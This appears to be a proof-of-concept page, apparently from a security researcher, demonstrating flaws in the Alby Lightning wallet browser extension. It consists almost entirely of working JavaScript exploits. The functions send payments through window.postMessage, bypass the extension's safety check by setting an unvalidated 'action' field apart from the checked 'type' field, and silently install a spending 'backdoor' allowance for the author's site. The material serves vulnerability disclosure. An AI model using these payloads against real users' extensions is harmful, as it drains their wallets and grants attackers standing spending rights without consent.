🐝 Alby vulnerabilities PoC

Send 1 sat to me using webln.execute() i

async function sendUsingWebLnExec() {
  await window.webln.execute("sendPayment", {
    paymentRequest: await getInvoice(1000),
  });
}

Send 1 sat to me using window.postMessage() i

async function sendUsingPostMsg170() {
  window.postMessage(
    {
      application: "LBE",
      prompt: true,
      type: "sendPayment",
      args: {
        paymentRequest: await getInvoice(1000),
      },
    },
    "*"
  );
}

Send 1 sat to me using window.postMessage() and bypassing security check i

async function sendUsingPostMsg180() {
  window.postMessage(
    {
      application: "LBE",
      prompt: true,
      // If action is defined, it is prioritized in the code later, but only type is checked for safety
      // So action can be anything, it is not validated
      action: "sendPayment",
      type: "sendPaymentOrPrompt",
      args: {
        paymentRequest: await getInvoice(1000),
      },
    },
    "*"
  );
}

Place a 100 sat "backdoor" allowance i

async function setupBackdoor() {
  // Add if non-existent
  window.postMessage(
    {
      application: "LBE",
      prompt: true,
      // If action is defined, it is prioritized in the code later, but only type is checked for safety
      // So action can be anything, it is not validated
      action: "addAllowance",
      type: "enable",
      args: {
        totalBudget: 100,
        host: "aarondewes.github.io",
        name: "Backdoor by Aaron's PoC",
        imageURL: "https://github.com/getAlby/website/blob/main/public/images/alby_icon_head_icon.png?raw=true",
        paymentRequest: await getInvoice(1000),
      },
    },
    "*"
  );
  // Otherwise update
  window.postMessage(
    {
      application: "LBE",
      prompt: true,
      action: "updateAllowance",
      type: "sendPaymentOrPrompt",
      args: {
        totalBudget: 100,
        enabled: true,
        paymentRequest: await getInvoice(1000),
      },
    },
    "*"
  );
}